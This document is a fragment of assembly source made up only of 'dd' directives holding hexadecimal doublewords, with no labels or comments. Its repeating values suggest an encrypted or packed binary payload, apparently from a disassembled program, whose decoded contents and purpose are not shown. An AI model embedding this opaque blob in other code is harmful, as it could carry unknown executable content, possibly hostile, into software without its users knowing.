		dd 1566113Eh, 4AA2274Fh, 0DE81C4D0h, 0E85EB68Fh, 2E5E94BFh
		dd 1C8F8E27h, 0D2664432h, 9B695049h, 4DF33652h,	976958CDh
		dd 1566443Eh, 1560AB3Dh, 9A691132h, 15668832h, 92E0C1BBh
		dd 7306242Eh, 0D47EC7B3h, 15668DDAh, 5D7B5932h,	0AE00BAC7h
		dd 743C2D14h, 1CA30DF4h, 1A214227h, 156623BEh, 110EE932h
		dd 1ADC490Bh, 15664CBFh, 17ED2D32h, 75661132h, 90D37753h
		dd 1A605124h, 15662EBAh, 13E31E32h, 1A668832h, 156644B6h
		dd 14E92D32h, 0E9661132h, 2E5E0DBFh, 97694227h,	15662238h
		dd 156614DBh, 6D7FCF32h, 0C5997ED1h, 15662ADBh,	21083D32h
		dd 8C1034C6h, 9FE3CDD9h, 75603EB5h, 0FCA5AE3Dh,	15668820h
		dd 8A2760E5h, 528F9FCCh, 0F164ABDAh, 224F7F26h,	1A07C7DCh
		dd 156633B6h, 156AF832h, 0BDDB8832h, 569CA78Ah,	7B7BF130h
		dd 0A8E54189h, 137390F3h, 0A2E34B32h, 75662232h, 9BAE9054h
		dd 74A9032Bh, 1CA3C1F4h, 75212427h, 0E7656689h,	0CE48738h
		dd 0FD664432h, 15662221h, 6289C68Ch, 0F3C2B57Fh, 5EC39F9Fh
		dd 0BD076918h, 4F24D45Eh, 15686153h, 91414432h,	0D3A46BCEh
		dd 3E34E9E2h, 0E3482ECEh, 674B235Ah, 1560CBD2h,	8DB41132h
		dd 4D780373h, 3E3F1CDh,	188F2427h, 7C661132h, 78DD308h
		dd 1FE0A0D6h, 0C30AA186h, 1567933Dh, 989A8832h,	5D7CB7h
		dd 0A7064234h, 0CFE7774Ah, 74077FF2h, 996994CDh, 15662225h
		dd 156603DBh, 0FAD01D32h, 2584ABAEh, 703E8574h,	583CDF73h
		dd 9C148F50h, 9E1CAB7h,	95064234h, 0A60727C1h, 90A0E9F4h
		dd 13734DF7h, 1EA2D75h,	1A661132h, 156686B4h, 156FAD32h
		dd 74572232h, 60880024h, 7D87A9AFh, 9B4FF783h, 1B8F42CAh
		dd 7A661132h, 0E8EF6EFAh, 4BA85941h, 8CE36EAEh,	0D7ED77AAh
		dd 90D37753h, 0FC605124h, 15662234h, 0D599D18Bh, 90EB0C37h
		dd 13737F0Ah, 13E72D52h, 1A661132h, 156688B7h, 0E5DD2232h
		dd 0C599437Eh, 45DF7752h, 0E4880991h, 7437D3FBh, 157DA03Dh
		dd 0FD061132h, 15668823h, 0F7E6B367h, 0F01D9239h, 2FEAF381h
		dd 0B99D5B52h, 80D31E43h, 87E3AB53h, 0EC600DB5h, 1CA30DF4h
		dd 0FC254227h, 15662220h, 104B5B53h, 0E31A949Dh, 3C282B5Dh
		dd 602E37Ah, 0B20E5683h, 75A6FE78h, 15664EDAh, 18EC5232h
		dd 39376CCBh, 958C1586h, 0AD39A4E3h, 3079F3Eh, 156AF853h
		dd 50228832h, 0E2647B4Ah, 55431265h, 0A09937EBh, 13739EB7h
		dd 0E7ED2252h, 90EB43C7h, 13732A0Ah, 0FCB677CAh, 15664422h
		dd 0A65DFC3Bh, 0CD904ECAh, 0F479090Fh, 0AD90BB34h, 92F0A7BBh
		dd 9169172Eh, 15668838h, 156641DBh, 79CB5332h, 90A0A16Ah
		dd 137381F7h, 1DEE4B7Eh, 1A662232h, 156613BAh, 7D07E832h
		dd 0EE0028D9h, 156633DBh, 744D1C32h, 9580A9BAh,	8937C909h
		dd 0D3B16D9Bh, 0A0992161h, 13738FBBh, 0DDD14B52h, 62D19D54h
		dd 14EB1E53h, 0EC668832h, 2E5EC1BFh, 0AE062427h, 2116FBFAh
		dd 74BE0354h, 128F94CDh, 16662232h, 0C013079Fh,	90EF44E5h
		dd 137ACC18h, 0DE52DCAh, 0FC661132h, 15668821h,	4247BF44h
		dd 6EB63D18h, 0DC8636F7h, 0FD80312Dh, 0D33A5661h, 6FE7B7h
		dd 7D9E5534h, 0AE150667h, 90D3BBCAh, 75603724h,	2DE39C53h
		dd 75609D09h, 1574AC52h, 973A2232h, 5DFD23C6h, 258D8901h
		dd 0FAF3F8DBh, 0F719CB37h, 15EF1E6Ch, 74668832h, 75B6BB53h
		dd 1568CB63h, 38261132h, 6E9B4961h, 156D56C2h, 1C33855h
		dd 0FD06706Ch, 15668837h, 2B87A374h, 0DBD92DF3h, 0B2BC916Bh
		dd 8FE30153h, 1A6058B5h, 15663AB2h, 7E61E32h, 0FC668832h
		dd 1566443Fh, 6618794Dh, 1E3B7E66h, 844C4117h, 0D0E382F6h
		dd 5660373Bh, 58A89052h, 1A5D6082h, 156646B4h, 74A9A832h
		dd 9B08ED5Ah, 1561618Eh, 0AE214432h, 5AEA0F29h,	90D3EEA2h
		dd 75609D24h, 74B4FB3Dh, 2E5EA7BFh, 0AD061727h,	526B83BAh
		dd 0EA078AB9h, 14EB2DE2h, 0ED661132h, 92F80DBBh, 1C8F422Eh
		dd 98662232h, 283598D6h, 0B0638B28h, 1CA3C1F4h,	0FC352427h
		dd 15661122h, 0F5EDCBCBh, 9CA7233Fh, 0EC684604h, 2DA0CB8Ah
		dd 558225Ah, 0DDED24F4h, 156630DBh, 8EA75832h, 31140603h
		dd 3FDB5D80h, 0C3C107Fh, 74644BA7h, 3E33DCDh, 989F4227h
		dd 5D1AB7h, 0DEC1E34h
		dd 0FC668832h, 15664421h, 26CC98F2h, 66169559h,	2CF02394h
		dd 0FCF1031Ch, 1A202FEBh, 156616B1h, 14E38732h,	0E0664432h
		dd 1A06F2CDh, 156617BBh, 15E78732h, 1A664432h, 9C07D285h
		dd 9E1B3B7h, 7335E834h,	4DE6628Dh, 9607B880h, 7A948Fh
		dd 91698834h, 156647C8h, 1576CB52h, 65451132h, 2D84EFEAh
		dd 13483239h, 20CB524Ch, 0AC001103h, 0D307B36Ch, 6F81B7h
		dd 7D936434h, 0EFF0DF03h, 90D377CEh, 75605124h,	0F016C58Ah
		dd 1A07E949h, 156690B0h, 1575AD32h, 688A2232h, 453F05D4h
		dd 87F90D10h, 97EF914Dh, 4C8DDA2Dh, 2DE39CCFh, 0FC609D09h
		dd 1566443Dh, 0B9329093h, 97BE340Ah, 0A3E99AAh,	0FCB4330Ch
		dd 15662226h, 2F891500h, 354593D3h, 1049FFC9h, 0FBF3171Bh
		dd 0D0034583h, 730658CDh, 196392B3h, 3DADC1B3h,	9C075200h
		dd 9E176B7h, 68F2434h, 91662232h, 0C3231307h, 0EE568579h
		dd 98434319h, 0E8F318B9h, 9400EFD5h, 7460C3D5h,	1CA3C1F4h
		dd 75202427h, 7D076781h, 0E9C1B2E4h, 14EF4BCBh,	0EC662232h
		dd 3E3A4CDh, 95698E27h,	15664435h, 1567AA3Dh, 989A1132h
		dd 5DB0B7h, 0A1312434h,	0EA077C54h, 14E11EE2h, 0E0668832h
		dd 9D68C1BBh, 7506242Eh, 156601DAh, 5FD8B332h, 1B28BEC6h
		dd 3418BB31h, 0EC2F944Eh, 0C7E7D343h, 65BB1195h, 78D84453h
		dd 90A070CAh, 137381F7h, 1561AD74h, 8FF12232h, 0C56CCB16h
		dd 0B166E04Eh, 9469D6CEh, 15662227h, 156601DBh,	7BE93332h
		dd 4FCF6567h, 5EAE985Ch, 502F487Dh, 90D37799h, 1A605124h
		dd 156624BEh, 1A9F7132h, 98077E8Dh, 5D7CB7h, 0DCE74234h
		dd 7F29B4FCh, 156684DBh, 6B091B32h, 1430EA0Dh, 6DB7BE02h
		dd 0C599E959h, 156DC43Dh, 138F2232h, 0E9661132h, 9951076h
		dd 7E3CDB2h, 0ED603EBAh, 1CA394F4h, 1A208E27h, 15665FB3h
		dd 78F4232h, 3E661132h,	875AF993h, 60F66E1Ch, 7EC17D1Dh
		dd 827C786Ah, 7439DF70h, 0C1292E5Ah, 940042C4h,	736552DCh
		dd 0CBF550B3h, 90D3BB53h, 0FC603724h, 15661120h, 0FB88EBCh
		dd 0E7248FD4h, 6E57FCEDh, 253BC386h, 90EB9219h,	13737F0Ah
		dd 156EA33Dh, 1A061132h, 156688B7h, 198F2532h, 0DB662232h
		dd 0DCF57722h, 8C74F6AAh, 0EA6F6B3Dh, 14E32DE2h, 0E0661132h
		dd 9D700DBBh, 9369422Eh, 15662233h, 90A0E9CAh, 137381F7h
		dd 7D9AB174h, 81AB72D5h, 1568F852h, 22118832h, 7D1576CEh
		dd 4A860F15h, 44B00ADCh, 15669BDBh, 23CFD132h, 710E1876h
		dd 9DE0A3Ah, 0F6B6DF25h, 0DB89060h, 90D3DD53h, 0FC600424h
		dd 1566883Bh, 0BC3362D1h, 10F310C4h, 2DE39C35h,	1A609D09h
		dd 156645B3h, 0C599DA32h, 74B79A52h, 9D640DBBh,	1E8F422Eh
		dd 0B0662232h, 6DA4426Ah, 0F00857F0h, 90A0B8FAh, 13732BF7h
		dd 1F8F7174h, 0CC668832h, 15AF4FF3h, 7E27DA87h,	1572F890h
		dd 0C5718832h, 0F33DC311h, 0DE8BECD8h, 51AECC71h, 0D70B6ED6h
		dd 7D07D830h, 0A4445609h, 156601DBh, 5BF65532h,	0BA1988F6h
		dd 95E5CAC4h, 0FE0D09CCh, 90D377F0h, 1A605124h,	156623B9h
		dd 90EBE832h, 1373B30Ah, 156656DBh, 0B1688B32h,	4FED7C8Bh
		dd 436EB1AAh, 50539D73h, 0EAF0C3FDh, 0DCE771E2h, 7BE7FB72h
		dd 74A4FB3Dh, 9D60A7BBh, 9C69172Eh, 15668820h, 1563AC52h
		dd 33D72232h, 4FA335E9h, 5EBC0954h, 18F2525h, 0C5662232h
		dd 4A6D0EB9h, 0BCA91551h, 4525D4FAh, 0C60EFDDEh, 0D3CA9F91h
		dd 6F4DB7h, 0AE060234h,	709985A3h, 156600DAh, 0EA2D1032h
		dd 76666397h, 0F301EEFEh, 0E7F7414Ch, 9469103Eh, 15664432h
		dd 0F80E436Bh, 0FCB968D8h, 15668835h, 0C712B7C2h, 0EA50752Fh
		dd 709487h, 68F7134h, 9A664432h, 0EA17679h, 0BA76DC6Bh
		dd 287D2383h, 5D8E81A0h, 90EB72E4h, 13732A0Ah, 1567063Dh
		dd 0EA9F4432h, 19EC2DE2h, 1A661132h, 15668EB7h,	15EF4B32h
		dd 9C662232h, 9EE1BB7h,	156A6134h, 6BA54432h, 23C1A19h
		dd 15040D47h, 0A8E5CB26h, 13735CF3h, 62E32D32h,	0FC661132h
		dd 15668834h, 2C60932h,	90A0E989h, 137318F7h, 9400E861h
		dd 74CE2CD9h, 1563A63Dh, 73061132h, 7D075FB9h, 0DBD8A46Ch
		dd 1561AF3Dh, 1A061132h, 0EBED7F8Dh, 90D3BB53h,	75603724h
		dd 8E16A954h, 0A78359B3h, 98076162h, 5D1AB7h, 90697134h
		dd 15668834h, 75D5A4B3h, 749E486Eh, 0ECB6EECEh,	92C00DBBh
		dd 9C69422Eh, 15662238h, 0CFED7752h, 0B950954h,	90A0251Bh
		dd 13732BF7h, 1560F875h, 0C01A8832h, 91E588FAh,	0A438A55Ah
		dd 6EB1EF5h, 0FC668832h, 1566443Ch, 0E456C17Ch,	341ACCFDh
		dd 59321A20h, 0A0999E6Fh, 137334B7h, 156617DBh,	0F760D232h
		dd 98A9E553h, 5D1AB7h, 138FE934h, 40668832h, 9EA681C8h
		dd 0FCB6DD9Dh, 15661122h, 675D6BDh, 0CF56E244h,	986ABFFCh
		dd 6DAA3EBEh, 92CC0DBBh, 48F422Eh, 0F0662232h, 0F6B5B93Ch
		dd 32E16795h, 0FB6A2C20h, 439A99B8h, 0DA7ACB1h,	1A668E27h
		dd 1566C2B7h, 73344232h, 6149FBB3h, 0D7E7EE68h,	750793D5h
		dd 90A043CEh, 137318F7h, 1DEF8775h, 1A664432h, 156620B8h
		dd 7D077132h, 0F304F637h, 90D3BBC7h, 1A603724h,	15661DB0h
		dd 13E18732h, 1A664432h, 156622B5h, 2DE39C32h, 0EC609D09h
		dd 4D352452h, 156636DBh, 0FB50D232h, 423DCEBEh,	77A7DA86h
		dd 5DAED381h, 0E5ECC404h, 9400E9B9h, 74CAA5D4h,	759FF2CDh
		dd 0C5ED7760h, 0AC8D096Bh, 746D7B52h, 92C8A7BBh, 0D39A172Eh
		dd 6F4DB7h, 0A3060734h,	1560CA5Eh, 2ECD1132h, 585B64FCh
		dd 743E7087h, 6F6FD45Ah, 19E01EA0h, 0FC668832h,	15664435h
		dd 0F798A871h, 0E9976FDBh, 3E33DCDh, 1A064227h,	9807E48Dh
		dd 5D29B7h, 0C5997434h,	90EFBCCEh, 137AA580h, 1567913Dh
		dd 1A9A8832h, 156645B6h, 90A0DE32h, 137318F7h, 0AA69E871h
		dd 1575ADC3h, 3C652232h, 5DFC2299h, 0AC023FAAh,	52CFA09Fh
		dd 23BFD21Ah, 350E7086h, 0EC9AA9A5h, 3E3F1CDh, 989A2427h
		dd 5D29B7h, 0F3E6E834h,	7494CFD8h, 0E093F2CDh, 92D094BBh
		dd 969A8E2Eh, 7E858Fh, 90692234h, 156611FFh, 9BB10952h
		dd 0A37AA617h, 90A0430Dh, 137318F7h, 15616171h,	0B4ED4432h
		dd 0E58938E3h, 160EE8D4h, 0FCED889Ah, 15664423h, 102DCCFDh
		dd 0BF463D0Fh, 5364B433h, 0CE93D953h, 90D3DD1Fh, 0FC600424h
		dd 15668822h, 50D39366h, 0E18117Dh, 0DC2326B4h,	0D9EA34B8h
		dd 1560AD52h, 84582232h, 0FEF23742h, 74564CB2h,	2E5EC1BFh
		dd 73062427h, 95273E88h, 0EA076BFDh, 90EFBDE2h,	137AA58Ch
		dd 90A0EDCBh, 137381F7h, 0C00EBD71h, 0ED837904h, 3E3A4CDh
		dd 989F8E27h, 5D7CB7h, 1572CB34h, 19A41132h, 0AC8A427Ah
		dd 5F586C57h, 753A8946h, 0FA7AE117h, 0C5996950h, 1563C33Dh
		dd 1A062232h, 0E007D88Dh, 92DC0DBBh, 9369422Eh,	15662233h
		dd 0D0E3D7C7h, 56609D3Bh, 156EAC52h, 0EEF42232h, 0D7EABBFFh
		dd 0FC3C4419h, 1566443Dh, 0E7B451EEh, 7BC3C5FDh, 22F0B9A1h
		dd 74F555E7h, 0E5D12D52h, 0F40E70CEh, 758C2200h, 94A0CF54h
		dd 0A60BB2F0h, 0A0997060h, 13739EB7h, 17E74B52h, 9E662232h
		dd 90EB70C2h, 1373B30Ah, 75B6BBCEh, 1563AC3Dh, 94001132h
		dd 0E02E6FE2h, 0D7E3CD53h, 1A603EB5h, 156606B1h, 15746132h
		dd 789C4432h, 0F740B4BCh, 841ABC73h, 0D500A734h, 0BC53D110h
		dd 3DE4452h, 90A070A9h
		dd 137381F7h, 14EB4B71h, 0EC662232h, 0E4CA265Ah, 0A0997DB6h
		dd 137352B7h, 156AA33Dh, 92691132h, 15668834h, 1566C93Dh
		dd 9C692232h, 1566113Bh, 738D0252h, 924097B3h, 2DE3AF53h
		dd 1A600409h, 156689BFh, 0C599BD32h, 15662DDBh,	0D73F5732h
		dd 28B0A704h, 7CC4CB8Dh, 0EB0FB65Eh, 92A094BBh,	0AF068E2Eh
		dd 39A7DA40h, 1566A63Dh, 1A071132h, 156684B3h, 13E94B32h
		dd 1A662232h, 156611BFh, 0D0E34E32h, 5A60513Bh,	1568A93Dh
		dd 1A061132h, 156688BFh, 15E54B32h, 74662232h, 20F6C55Ah
		dd 156161A5h, 54FE4432h, 0B73E3CB9h, 1575F87Eh,	35DA8832h
		dd 0D8161AE8h, 0FE0195F3h, 0B2F819Ch, 0D82C09BCh, 90D3BBB1h
		dd 0FC603724h, 15661135h, 0C89C7554h, 989469CBh, 5D1AB7h
		dd 0AD007134h, 9969B16Ah, 15664434h, 4029FCB3h,	0EA0721C6h
		dd 19E387E2h, 75664432h, 1484A354h, 0CC87AAF3h,	9C07AAAAh
		dd 9E18EB7h, 90A0DB34h,	137318F7h, 14E1877Dh, 0E0664432h
		dd 7B68205Ah, 0A099E4CBh, 13739EB7h, 2DE3C9CAh,	75603709h
		dd 1577F9C7h, 0D97D8832h, 57819536h, 0A466C7C4h, 0CF825964h
		dd 0AF9D4078h, 410C9FEFh, 0C5994369h, 156602DBh, 40CDF332h
		dd 4F2B062Eh, 0B554DB8h, 0CE111C42h, 0DA87AE15h, 92A8C1BBh
		dd 1C8F242Eh, 9A661132h, 0A42EF1B3h, 9D9491DCh,	156632DBh
		dd 8F1DFE32h, 0C9AFE7B2h, 0B5527E7Ah, 9FF73AC6h, 0D0E3D7A6h
		dd 58609D3Bh, 6C2F2CCBh, 9C69EA05h, 15661123h, 156684DBh
		dd 0B8513A32h, 1723D4D0h, 8DA31387h, 90D377B8h,	1A605124h
		dd 15662EBDh, 13E81E32h, 1A668832h, 156644BCh, 2DE3AF32h
		dd 0ED600409h, 9C9F58CDh, 9E192B7h, 7ADD4234h, 75253B29h
		dd 15660A3Dh, 0D7E74432h, 0B0DB8A2h, 1F8F7053h,	5D668832h
		dd 0D669B99Fh, 26B91F84h, 0D0E3D7BCh, 58609D3Bh, 156655DBh
		dd 0CFA10F32h, 265717F9h, 9A941A0Ah, 0D456D70Dh, 9C0E2F8Eh
		dd 0FCBAE67Fh, 15668837h, 5D7283F5h, 90D3DD70h,	0FC600424h
		dd 1566883Dh, 0D45989FCh, 0CA9DD603h, 47E6553h,	989546EAh
		dd 5D7CB7h, 156BCB34h, 0C0FF1132h, 4534CF71h, 58C29697h
		dd 0EA4F134Eh, 10E31EE2h, 75668832h, 749EF33Dh,	92B4A7BBh
		dd 128F172Eh, 0DA668832h, 8F5A7D16h, 90A00029h,	137318F7h
		dd 108F7D67h, 72664432h, 0A601AD18h, 0E4B265Ah,	3E887AEh
		dd 0FC664432h, 15662223h, 0E1D56667h, 4D9371Fh,	2184CFE7h
		dd 3CA8CC5Ah, 90D3EEFAh, 0FC609D24h, 15664420h,	0EA569340h
		dd 7B5F47C2h, 4497B2EDh, 80D2002Ah, 90EBDC65h, 13732A0Ah
		dd 0ECB677C7h, 92BCC1BBh, 1C8F242Eh, 661132h, 0DB2CD004h
		dd 0F09C313Fh, 1CA3A7F4h, 0FC251727h, 1566883Eh, 0AF8FC257h
		dd 7A792D3Bh, 0C230878Ch, 0C096A25Ah, 1DE54BE0h, 1A662232h
		dd 156613BAh, 0EA07E832h, 70C187h, 0A1D24234h, 98076A81h
		dd 5DB0B7h, 73312434h, 7539ECB9h, 15EE1ECAh, 74668832h
		dd 1AB6BB53h, 15663BB9h, 1572F832h, 8118832h, 0A6C397D8h
		dd 892CF410h, 0E781D4Ah, 248E6C54h, 9B69296Fh, 15662233h
		dd 0CBE398CBh, 1A6094B5h, 15664AB1h, 156FCB32h,	0EB011132h
		dd 0D86B9E87h, 0D332A4CEh, 6FE7B7h, 1A064334h, 15668ABFh
		dd 4498CF32h, 0F6DE9B54h, 0FF0E706Ch, 0ED9BCA86h, 3E3F1CDh
		dd 1A062427h, 156614BEh, 16813332h, 0AC005CF4h,	1A076CABh
		dd 156618BEh, 1A9FE832h, 156644BEh, 90EB4332h, 13732A0Ah
		dd 156E063Dh, 90694432h, 15662230h, 0C5997052h,	156683DBh
		dd 0EC93CF32h, 0D6D83067h, 0B8FA64A5h, 3B5F0DBBh, 188F4227h
		dd 0C9662232h, 3217EBEBh, 27FAECDEh, 7CBFC9E1h,	1CA3A7F4h
		dd 0FC211727h, 1566883Dh, 718A6343h, 98B510AEh,	13AF78EBh
		dd 1AC91925h, 156643B8h, 14ED2D32h, 0E9661132h,	8D3F115Ah
		dd 1CEB4BD0h, 75662232h, 15E61ECAh, 74668832h, 3E3F1CDh
		dd 1D8F2427h, 0A4661132h, 6D9B2415h, 753012B5h,	9E00ECB9h
		dd 90EB70EBh, 1373B30Ah, 75B6BBCAh, 74B9A954h, 928494BBh
		dd 58F8E2Eh, 1E664432h,	5C081939h, 0B35430AEh, 4D34D786h
		dd 1A037694h, 156623B3h, 90A0E932h, 137381F7h, 97692475h
		dd 15662237h, 16B04388h, 64DFEE00h, 0D70E2508h,	0FCD7DF52h
		dd 15661139h, 0E7E6EF64h, 73C96BB7h, 75457272h,	1567983Dh
		dd 749F8832h, 3E3F1CDh,	93692427h, 15661133h, 739AE8C7h
		dd 98078EB9h, 5D1AB7h, 1561F834h, 7C68832h, 70E634E9h
		dd 1A36424Bh, 156611B4h, 7493D332h, 986994CDh, 15662233h
		dd 0F3E398CBh, 756094B5h, 0C2E79B81h, 1307225Bh, 0D0E3D753h
		dd 52609D3Bh, 156643DBh, 0B5D66832h, 58A7D262h,	0B3989C5Ah
		dd 0A099B1EDh, 137334B7h, 2DE39CCAh, 75609D09h,	739DFB3Dh
		dd 0F49ECCB3h, 75B6EE53h, 0A24F58B3h, 9C072116h, 9E1C8B7h
		dd 0AE007134h, 940042DEh, 741B6DD4h, 0D0E3E4CAh, 4A60043Bh
		dd 156687DBh, 6D920432h, 5644CC06h, 0E1C13398h,	0D9B290F3h
		dd 45942C5Ah, 1560CBACh, 2DAB1132h, 0AB7C4EAEh,	3E3F1CDh
		dd 90692427h, 1566113Dh, 156682DBh, 0E0053332h,	17F2ADF3h
		dd 0EDF00B1Ch, 2E5E0DBFh, 0FD064227h, 15662221h, 45D522C0h
		dd 65F89DCEh, 1DF06CBFh, 3F91DD3Fh, 0ED89D50Dh,	0D3DFEE68h
		dd 0C59925D9h, 4A9F7252h, 7412D8B2h, 92880DBBh,	0AE06422Eh
		dd 7C1495B9h, 1560943Dh, 0D5E78832h, 407E9B38h,	0D0E3E453h
		dd 5A60043Bh, 6E59E0C7h, 470683CEh, 743C7965h, 3E3A4CDh
		dd 989F8E27h, 5D7CB7h, 0C599D734h, 1573953Dh, 46068832h
		dd 156AAD68h, 31AF2232h, 0E6458DB1h, 5BC4DA8Bh,	9C07E174h
		dd 9EE38B7h, 1577F834h,	5BA98832h, 9193F87Bh, 0BA8A22F8h
		dd 2F8432Fh, 0D3D8D2ABh, 6F81B7h, 91696534h, 1566113Eh
		dd 15668FDBh, 6D457732h, 46A5384Fh, 4E085D5Ah, 0EA87C8h
		dd 0FC664432h, 15662222h, 0F476CED6h, 4FC2B9A3h, 0D2478F69h
		dd 1E04CBECh, 3E3A4CDh,	9B698E27h, 15664433h, 2DE3AFCEh
		dd 0FC600409h, 1566883Fh, 8A3ED564h, 282E773Dh,	35420903h
		dd 0FCB67740h, 15664439h, 623054B1h, 1A16A148h,	9C6E87AEh
		dd 9EE5AB7h, 1560CB34h,	0B6251132h, 477CEA8Ch, 1CA3C1F4h
		dd 1A212427h, 156608B5h, 0AA69E832h, 1569ADF3h,	60812232h
		dd 0C758115Eh, 6F0FF0DDh, 0F78E5B80h, 9C694311h, 1566113Bh
		dd 0DBE7EE52h, 0FFD709DCh, 31AB4A53h, 48FD234h,	0E1668832h
		dd 0B36BFD36h, 0DD3EB6AFh, 62F233CBh, 835A5D6Ah, 758ECE52h
		dd 1280A2CEh, 0A0997053h, 13739EB7h, 95DF2252h,	156FCBDFh
		dd 8BF71132h, 0ECB98BA6h, 747D190Dh, 2DE3AFCEh,	0EC600409h
		dd 15696052h, 0CB234432h, 4607462Dh, 0E9D9E567h, 692D5F48h
		dd 0E3E72225h, 743EB3C6h, 9969C1CDh, 15668821h,	15664ADBh
		dd 4DDD9432h, 6F122A2Bh, 3E81A82Dh, 0E0AA05C1h,	9D44A7BBh
		dd 0D39F172Eh, 6F4DB7h,	7D9E1B34h, 0C1DD42FEh, 90D3EECAh
		dd 0FC609D24h, 15664435h, 750ED36h, 98A1C533h, 5DB0B7h
		dd 0C599B834h, 0E7E3ABC7h, 0FC600DB5h, 1566883Dh, 46EC32EDh
		dd 25A4F906h, 7253A254h, 0E9C1FFCBh, 1CA3C1F4h,	1A392427h
		dd 156619B4h, 17ED8732h, 75664432h, 1AEC2D53h, 0FC661132h
		dd 15668838h, 2E99E583h, 4F2FA6D0h, 5B0E94BCh, 1AF86166h
		dd 156648BAh, 13E32D32h, 1A661132h, 156688B7h, 0DE04B32h
		dd 0FC662232h, 15661121h
		dd 0A51D3542h, 4F3F2A39h, 284B10CCh, 5F80AA76h,	0EAF6EABEh
		dd 70C187h, 1577CB34h, 0FA01132h, 4AA0938Ch, 0FF04AA46h
		dd 0CF0A4510h, 984283B0h, 5DB0B7h, 1563AD34h, 0AE9D2232h
		dd 0EA4F141Dh, 18F71E2h, 0D3664432h, 0ACA60149h, 0F35653E3h
		dd 12E187D3h, 8CD93333h, 9CB06C00h, 9E1E7B7h, 15726134h
		dd 8D1C4432h, 32DEFE6Bh, 2EA9AE4Fh, 209B8BA0h, 38F4D133h
		dd 90A00BAFh, 137318F7h, 5D0E706Dh, 75B7571Ah, 0AB9ACCB3h
		dd 749F19B3h, 3E33DCDh,	96694227h, 15662239h, 0CFE77752h
		dd 0AC00DC05h, 980780FFh, 5D1AB7h, 1DE31E34h, 1A668832h
		dd 156646BEh, 0FC074232h, 15661122h, 71821A70h,	0E6DB7CE6h
		dd 0D2F346A1h, 588DCD00h, 976958CDh, 15664433h,	0EFE3ABCAh
		dd 1A600DB5h, 156683B2h, 1560AD32h, 7C182232h, 96C1D602h
		dd 1579083Dh, 9F694432h, 1566222Bh, 156605DBh, 500DFA32h
		dd 0CDC4A857h, 549205FBh, 3AE6E7Dh, 3A3F55A8h, 0EC622E01h
		dd 1576225Ah, 156EF832h, 0EFD8832h, 85470EFFh, 150E19D0h
		dd 1A661122h, 156692BDh, 9C692432h, 15662232h, 15661CDBh
		dd 28B3B332h, 2F4EC54Eh, 0BDF85F26h, 7F07D1B1h,	0E99EE832h
		dd 0DCF3BB53h, 0FC603716h, 15661139h, 7B66B42Dh, 0D430CC72h
		dd 9C902DD8h, 7AB8B7h, 0AE9AE834h, 3D901C66h, 9C694253h
		dd 15661131h, 0FD9C0354h, 1566443Eh, 20EA1E2h, 0E1608581h
		dd 97D6F4A4h, 98071CC7h, 95342B7h, 14E21E34h, 0E0668832h
		dd 78F94CDh, 2E662232h,	0F88D2D8Ah, 940EF594h, 17A8BDAEh
		dd 57B20402h, 108F71E7h, 0C6668832h, 0D7041209h, 0C95D9B52h
		dd 74075265h, 1A068C58h, 156646B4h, 1A4A9032h, 15661CBFh
		dd 15616032h, 2AC54432h, 0D0BB4C75h, 7D074A9Bh,	15669832h
		dd 156648DBh, 0BA506032h, 0DF5D76B5h, 0AE35572Fh, 35662C35h
		dd 7F932232h, 12EE1E32h, 75668832h, 0DAD7F88h, 0EA9F4375h
		dd 42D8A7h, 156A6134h, 54AC4432h, 9067E7F7h, 2988B70Eh
		dd 9D6998F3h, 15664412h, 156ACB52h, 73121132h, 14DC27Dh
		dd 8250BE3Eh, 128EA83Ch, 41661132h, 436F9B2Eh, 743E85A2h
		dd 8D7A7BBh, 9C9E1727h,	6541B7h, 188F2434h, 27662232h
		dd 0CEA8E1B5h, 945F9B3Eh, 4758C4F1h, 74A9953Dh,	97695158h
		dd 15668833h, 5662CCBh,	99692232h, 15661124h, 156699DBh
		dd 0B5CB7932h, 9255E85h, 48AA7382h, 8C7A3268h, 1F8F4113h
		dd 1A662232h, 6050B9C9h, 4B41CBC7h, 15662C89h, 0FC9E2233h
		dd 1566113Eh, 4FCE0797h, 0EB558B15h, 233E60DBh,	0EA9E1158h
		dd 4241A7h, 0FC372434h,	15662238h, 0C2FF41Bh, 0F869AF28h
		dd 1A38F070h, 9C07D28Dh, 4CECB7h, 0CEE7E834h, 6E6676FBh
		dd 5CD3A953h, 0FC600406h, 1566883Ah, 0AFCD2E58h, 0ABA95ED1h
		dd 0C2B8CB9h, 73068E27h, 0CE7F9EB3h, 156628DBh,	0F78F4F32h
		dd 98A06168h, 7478C69Ch, 1FF797BBh, 1A061727h, 15668ABBh
		dd 1AE3F032h, 156630B3h, 156AF932h, 8B28832h, 0ACDAA9CBh
		dd 2363D8A7h, 743D557Ah, 1564073Dh, 74064432h, 2BFBFBBh
		dd 0FC061727h, 1566883Ch, 0D9EAF8B8h, 992EAC95h, 0FDFFAAAh
		dd 9969CB75h, 15664425h, 156633DAh, 6167A332h, 48DF3C4Ah
		dd 892A21D7h, 0A91B30E8h, 743D8F1Bh, 0C2B15B9h,	9B694227h
		dd 1566222Fh, 29D97752h, 157760B4h, 18AE4432h, 9F19230Dh
		dd 6E771C20h, 46663F66h, 4BD1C1F8h, 9E55DD53h, 0D1E5353Eh
		dd 14EC8736h, 0E9664432h, 1A66DBB1h, 155E30B6h,	95DFE832h
		dd 0FC042D17h, 1566223Eh, 6623752h, 0DF996263h,	5F008DBBh
		dd 77094A53h, 11EF1132h, 19E68716h, 1A664432h, 156624BBh
		dd 15EE1E32h, 43668832h, 0D3E7A2BBh, 15662236h,	9262FFB1h
		dd 9C3AAC06h, 759F603Eh, 0FCA613C7h, 15661139h,	9D20F309h
		dd 6E2633DEh, 9CC1DFE7h, 6C4CB7h, 0AC06E834h, 2F1C8D9Eh
		dd 9FBBE8B3h, 73074A52h, 746F3D88h, 127D2C61h, 443D262Bh
		dd 0C61368Bh, 4CADB936h, 0FC3D9ABBh, 1566223Dh,	0DF8468B9h
		dd 0B91C438Ch, 1656A1D4h, 94495069h, 8A6FBEF4h,	9E880922h
		dd 164F3921h, 94460646h, 68759AF4h, 0BA88091Bh,	0EC76DB3Bh
		dd 1A8F8F54h, 36661132h, 8DA98E03h, 0CDE911A6h,	3A1EF75Eh
		dd 0C04BD32Ah, 16294220h, 42466076h, 6B4F6B8Dh,	0E289C05Ch
		dd 97A909EDh, 94015464h, 5D7517F5h, 0D7A1902Dh,	142638CDh
		dd 9A691BCAh, 15662227h, 15699F3Dh, 1F8F8832h, 0F4664432h
		dd 37C342EEh, 136D39BAh, 6D167743h, 714270B3h, 4B73F733h
